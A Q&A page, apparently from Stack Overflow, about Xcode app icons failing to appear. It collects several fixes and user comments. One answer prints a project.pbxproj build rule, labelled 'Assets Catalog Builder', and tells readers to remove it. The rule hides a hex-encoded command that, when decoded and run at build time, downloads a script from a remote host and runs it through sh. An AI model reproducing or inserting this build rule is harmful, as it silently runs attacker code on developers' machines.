Xcode 10 app icon not showing

25,242

Solution 1

On 6/19/18 Apple released Xcode 10. beta 2. Upgrading solved the problem I was having with icons not appearing. So, a bug in Xcode 10.0 I guess.

Solution 2

I've been battling with this all day, it wouldn't show up in the simulator or a real device.

Eventually I got it to work by making sure the Target Membership for the AppIcon was set to the app name and that the Location was "Relative to Project".

Xcode screenshot

Solution 3

if you are using Xcode 13 & iOS 15

  • Install the app & Restart the device.

app icon shows on device.

Another tricky solution, but dont use (it's only for testing purpose,not a best solution.

  • Change the bundle identifier & run the project

Solution 4

In my case these two options were set wrongly Project navigator

Solution 5

I have the same issues on xCode 12.5 All icons are working but only app icons are not showing on iPad and iPhone.

Solution

YouProject.xcodeproj -> Show Package Contents -> project.pbxproj -> open

  • Find out the blow code

  • Remove code block

  • build project and run your app.

    / Begin PBXBuildRule section /
          EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
              isa = PBXBuildRule;
              compilerSpec = com.apple.compilers.proxy.script;
              fileType = folder.assetcatalog;
              inputFiles = (
              );
              isEditable = 0;
              name = "Assets Catalog Builder";
              outputFiles = (
                  "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
              );
              script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
          };
    / End PBXBuildRule section /
    
Share:
25,242
Vlad
Author by

Vlad

Knock, knock. Race condition. Who’s there.

Updated on July 09, 2022

Comments

  • Vlad
    Vlad almost 2 years

    Recently updated to Xcode 10 beta and my App that previously has correct icon displayed when built and ran from Xcode 9.4 to device now shows the default blank icon when running in Xcode 10.

    enter image description here

    When opening AppIcon asset it shows icon correctly in all the placeholders without any warning icons. When tapping on new "Show Slicing" I do not see anything.

    Anyone any clues how to fix this so app icon shows?

  • Vlad
    Vlad almost 6 years
    I have tried this and checked my asset catalog selected for my target and it is correct. Tried updating it back and forth but this did not fix things.
  • Justin
    Justin almost 6 years
    I've been trying to resolve this exact same issue all day today to no avail. Worked fine before updating to xCode 10 beta :( All the AppIcon assets are added where and how they're supposed to be, and the AppIcon source is correctly referencing this asset set. Everything is added to the target correctly as well... yet on my real device's home screen, the app icon still appears blank (default). Hopefully a solution is discovered soon! It's bugging me lol.
  • Jonas
    Jonas almost 6 years
    I think this is something to do with the Xcode 10 Beta, as I have both Xcode 9.4 and the Xcode 10 beta and works fine with 9.4, Beta is a kind of testing mode, maybe they will fix it.
  • Vlad
    Vlad almost 6 years
    Filed Radar with Apple and was closed with "DUPLICATE OF 40507731" so it seems this is Xcode 10 issue in beta, have not yet found any workaround for this.
  • Vlad
    Vlad almost 6 years
    Tried both changes and this did not fix the issue. Still getting the empty icon.
  • Taka
    Taka almost 6 years
    This fixed the problem in my case. After updating "Command Line Tools" to "Xcode 10.0", the "App Icon Source" setting in the project was deselected. I selected the "AppIcon" of the Asset Catalog again and the app icon started to appear. I'm using Xcode 10 beta 2.
  • Milander
    Milander almost 6 years
    Thx, This in combination with the answer of edison (stackoverflow.com/a/50929189/2164516) did work for me :)
  • kakyo
    kakyo almost 5 years
    In my case, I accidentally removed CFBundleIconFile from Info.plist and simply couldn't see the App Icons and Launch Images option until I added the property back.
  • Victor Sena de Lima Attar
    Victor Sena de Lima Attar over 3 years
    After 4 hours, this saved me! Thanks!
  • Vishal Chaudhry
    Vishal Chaudhry about 3 years
    Thanks for the answer. I was able to fix the issue by unchecking target membership of the Assets catalog folder, built the app (which gave an error) and then setting back the target membership to the app name. I did not have to change the Location setting which remains as "Relative to Group" (XCode 12.4 - 12D4e)
  • Muhammad Farooq
    Muhammad Farooq almost 3 years
    This answer worked for me. I spend the whole day and finally got the solution.
  • Mikael Weiss
    Mikael Weiss almost 3 years
    Same issue here. That fixed it. Thank you!!
  • Jason Chen
    Jason Chen over 2 years
    xcode 13 & iOS15, this worked for me
  • Miroslav Maksimovic
    Miroslav Maksimovic over 2 years
    Yea, exactly that worked for me too, with xcode 13 and IOS 15
  • Cristi Băluță
    Cristi Băluță over 2 years
    Not good, after rebuilding the app the icon disappears again. Xcode13 iOS15
  • ambientlight
    ambientlight over 2 years
    extremely surprised by this but it did work
  • makkuzu
    makkuzu over 2 years
    Version 13.2.1 and it was still persisting until I changed my bundle identifier by changing capital letters to lower case. I think there is a problem with capital letters.
  • Jay Ordway
    Jay Ordway over 2 years
    It certainly isn't ideal to have to restart the device. Is Apple addressing this issue?
  • Bharat Nakum
    Bharat Nakum about 2 years
    Perfect solution. Worked like a charm. Thank you.